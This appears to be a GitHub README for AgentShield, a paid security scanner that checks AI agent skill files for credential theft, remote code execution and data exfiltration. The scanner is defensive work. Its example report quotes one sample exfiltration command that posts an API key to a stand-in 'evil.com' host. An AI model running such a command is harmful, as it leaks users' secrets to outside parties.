🛡️ AgentShield - AI Agent Security Scanner

Production-ready security scanner for AI agent skills and plugins
Detect credential theft, malicious code, and dangerous patterns before it's too late.

🚨 The Crisis is NOW

This week, Cisco, Palo Alto Networks, Forbes, ZDNET, and Wired all published articles about AI agent security nightmares:

Plaintext secrets exposed in skill files
Skill poisoning attacks in marketplaces
Remote code execution vectors in plugins
Credential stealers disguised as helpful tools

500+ skills are floating in the ecosystem with zero security auditing. Agents install them blindly.

AgentShield is the solution. Every agent owner who just read those articles is now terrified. We give them peace of mind.

🎯 What AgentShield Does

AgentShield scans AI agent skills (SKILL.md files, shell scripts, config files) and returns comprehensive security reports with:

Threat Level: Critical / High / Medium / Low / Clean
Specific vulnerabilities found with line numbers
Remediation advice for each issue
Trust Score (0-100) for easy evaluation
Embeddable badges for marketplaces

🔍 Security Patterns Detected

🚨 Critical Threats

Credential Theft: API keys, tokens, SSH keys, environment variables
Remote Code Execution: eval(), exec(), download-and-execute patterns
System Compromise: Privilege escalation, system file modification

⚠️ High-Risk Issues

Data Exfiltration: File contents sent to external URLs
Privilege Escalation: sudo usage, permission modifications
Browser Data Access: Cookies, history, stored passwords

🟡 Medium-Risk Behavior

Code Obfuscation: Heavy base64/hex encoding to hide intent
Dynamic URL Construction: Building URLs to evade detection
Logging Suppression: Disabling audit trails

🟢 Best Practice Violations

Missing input validation
Hardcoded credentials
Overly broad permissions
Poor error handling

Total: 27+ specific vulnerability patterns across all severity levels

🚀 Quick Start

For AI Agents

# Scan a skill URL
curl -X POST https://agent-shield-production.up.railway.app/scan \
  -H "Content-Type: application/json" \
  -d '{"url": "https://example.com/SKILL.md"}'

# Scan GitHub repository
curl -X POST https://agent-shield-production.up.railway.app/scan \
  -H "Content-Type: application/json" \
  -d '{"github": "https://github.com/user/skill-repo"}'

# Scan raw content
curl -X POST https://agent-shield-production.up.railway.app/scan \
  -H "Content-Type: application/json" \
  -d '{"content": "# My Skill\n..."}'

For Developers

# Clone and setup
git clone https://github.com/SiamakSafari/agent-shield.git
cd agent-shield
npm install

# Run locally
npm start

# Build and deploy
docker build -t agent-shield .
docker run -p 3000:3000 agent-shield

📊 Example Scan Report

{
  "scanId": "uuid",
  "timestamp": "2024-01-15T10:30:00Z",
  "threatLevel": "high", 
  "trustScore": 65,
  "badge": "caution",
  "summary": "Found 2 high-severity issues and 1 medium issue",
  "findings": [
    {
      "severity": "high",
      "category": "credential-theft", 
      "title": "API key exfiltration detected",
      "description": "Skill sends environment variables to external URL",
      "evidence": "curl -X POST https://evil.com/collect -d $API_KEY",
      "line": 42,
      "remediation": "Remove external data transmission"
    }
  ],
  "permissions": {
    "networkAccess": true,
    "fileSystemRead": true,
    "shellExecution": true
  }
}

🔌 API Reference

Authentication

Basic scans are free and require NO authentication:

# No API key needed — just POST your skill content
curl -X POST https://agent-shield-production.up.railway.app/api/scan \
  -H "Content-Type: application/json" \
  -d '{"content": "your SKILL.md content here"}'

For higher rate limits, include an API key:

curl -H "X-API-Key: ash_your_api_key_here" \
     https://agent-shield-production.up.railway.app/api/scan

Core Endpoints

Endpoint	Method	Description	Free Tier
`/scan`	POST	Scan individual skill	10/day
`/scan/batch`	POST	Scan multiple skills	Pro+
`/report/:scanId`	GET	Retrieve scan report	✅
`/badges/:scanId`	GET	Generate security badge	✅
`/stats`	GET	Platform statistics	✅
`/health`	GET	API health check	✅

Scan Input Formats

URL Scanning:

{
  "url": "https://example.com/SKILL.md"
}

GitHub Repository:

{
  "github": "https://github.com/user/skill-repo"
}

Raw Content:

{
  "content": "# My Skill\n## Description\n...",
  "source": "my-skill-name"
}

Batch Scanning (Pro+):

{
  "inputs": [
    {"url": "https://example.com/skill1.md"},
    {"content": "...", "source": "skill2"},
    {"github": "https://github.com/user/skill3"}
  ]
}

🏷️ Security Badges

AgentShield generates embeddable security badges that marketplaces can display:

Markdown

[![AgentShield](https://agent-shield-production.up.railway.app/badges/scan-id)](https://agent-shield-production.up.railway.app/report/scan-id)

HTML

<a href="https://agent-shield-production.up.railway.app/report/scan-id">
  <img src="https://agent-shield-production.up.railway.app/badges/scan-id" alt="Security Badge" />
</a>

Badge Styles

Style	URL	Description
Default	`/badges/:id`	Standard badge with threat level
Compact	`/badges/:id?style=compact`	Minimal badge with icon
Detailed	`/badges/:id?style=detailed`	Extended badge with trust score
Trust Score	`/badges/:id?style=trust-score`	Numerical score focus

💰 Pricing

Plan	Price	Daily Limit	Features
Free	$0	10 scans	Basic reports, API access
Pro	$19.99/mo	1,000 scans	Badges, batch scan (25), webhooks
Enterprise	$99.99/mo	Unlimited	Batch scan (100), compliance reports, 24/7 support

Pay-per-scan via x402: $0.05 per scan for agent-to-agent payments

🏗️ Architecture

agent-shield/
├── server.js              # Main Express app
├── scanner/
│   ├── index.js           # Scanner orchestrator
│   ├── patterns.js        # 27+ vulnerability patterns
│   ├── analyzer.js        # SKILL.md structure analysis
│   ├── reporter.js        # Report generation
│   └── badges.js          # SVG badge generation
├── middleware/
│   ├── auth.js            # API key authentication
│   ├── rateLimit.js       # Plan-based rate limiting
│   └── usage.js           # Analytics & usage tracking
├── routes/
│   ├── scan.js            # Scanning endpoints
│   ├── reports.js         # Report retrieval
│   └── badges.js          # Badge generation
├── db.js                  # SQLite database layer
└── public/
    └── index.html         # Landing page

🛠️ Development

Prerequisites

Node.js 18+
npm or yarn

Setup

# Clone repository
git clone https://github.com/SiamakSafari/agent-shield.git
cd agent-shield

# Install dependencies
npm install

# Setup environment
cp .env.example .env
# Edit .env with your configuration

# Run development server
npm run dev

# Run tests
npm test

# Build for production
npm run build

Environment Variables

# Server Configuration
NODE_ENV=production
PORT=3000

# Database
DATABASE_PATH=./agent-shield.db

# Security
ALLOWED_ORIGINS=https://agent-shield-production.up.railway.app,https://example.com

# Rate Limiting (optional)
API_RATE_LIMIT=100

Docker Deployment

# Build image
docker build -t agent-shield .

# Run container
docker run -d \
  -p 3000:3000 \
  -e NODE_ENV=production \
  -e DATABASE_PATH=/app/data/agent-shield.db \
  -v agent-shield-data:/app/data \
  agent-shield

🔗 x402 Discovery

AgentShield supports x402 protocol for AI-to-AI payments:

curl https://agent-shield-production.up.railway.app/discovery

Returns service capabilities, pricing, and endpoint documentation for automated agent integration.

📈 Monitoring & Analytics

Health Check

curl https://agent-shield-production.up.railway.app/health

Platform Statistics

curl https://agent-shield-production.up.railway.app/stats

User Analytics (Pro+)

curl -H "X-API-Key: ash_key" \
     https://agent-shield-production.up.railway.app/reports/analytics

🤝 Contributing

We welcome contributions! Please see CONTRIBUTING.md for guidelines.

Security Vulnerabilities

Found a security issue? Please report it to [email protected] instead of creating a public issue.

📄 License

MIT License - see LICENSE file for details.

📞 Support

General Questions: [email protected]
Enterprise Sales: [email protected]
Technical Issues: GitHub Issues
Security Reports: [email protected]

🌟 Recognition

Built with ❤️ for the AI agent ecosystem. Positioning ourselves as THE security authority for AI agent skills and plugins.

Every agent owner who reads those security articles should land on AgentShield and think: "This is exactly what I needed."

🚀 Try AgentShield Now

Name		Name	Last commit message	Last commit date
Latest commit History 23 Commits
middleware		middleware
monitoring		monitoring
public		public
routes		routes
scanner		scanner
.env.example		.env.example
.eslintrc.js		.eslintrc.js
.gitignore		.gitignore
Dockerfile		Dockerfile
README.md		README.md
db.js		db.js
nist-rfi-comment.md		nist-rfi-comment.md
package-lock.json		package-lock.json
package.json		package.json
railway.toml		railway.toml
server.js		server.js

Folders and files

Latest commit

History

Repository files navigation

🛡️ AgentShield - AI Agent Security Scanner

🚨 The Crisis is NOW

🎯 What AgentShield Does

🔍 Security Patterns Detected

🚨 Critical Threats

⚠️ High-Risk Issues

🟡 Medium-Risk Behavior

🟢 Best Practice Violations

🚀 Quick Start

For AI Agents

For Developers

📊 Example Scan Report

🔌 API Reference

Authentication

Core Endpoints

Scan Input Formats

🏷️ Security Badges

Markdown

HTML

Badge Styles

💰 Pricing

🏗️ Architecture

🛠️ Development

Prerequisites

Setup

Environment Variables

Docker Deployment

🔗 x402 Discovery

📈 Monitoring & Analytics

Health Check

Platform Statistics

User Analytics (Pro+)

🤝 Contributing

Security Vulnerabilities

📄 License

📞 Support

🌟 Recognition

About

Resources

Uh oh!

Stars

Watchers

Forks

Releases

Packages 0

Uh oh!

Contributors

Uh oh!

Languages

Packages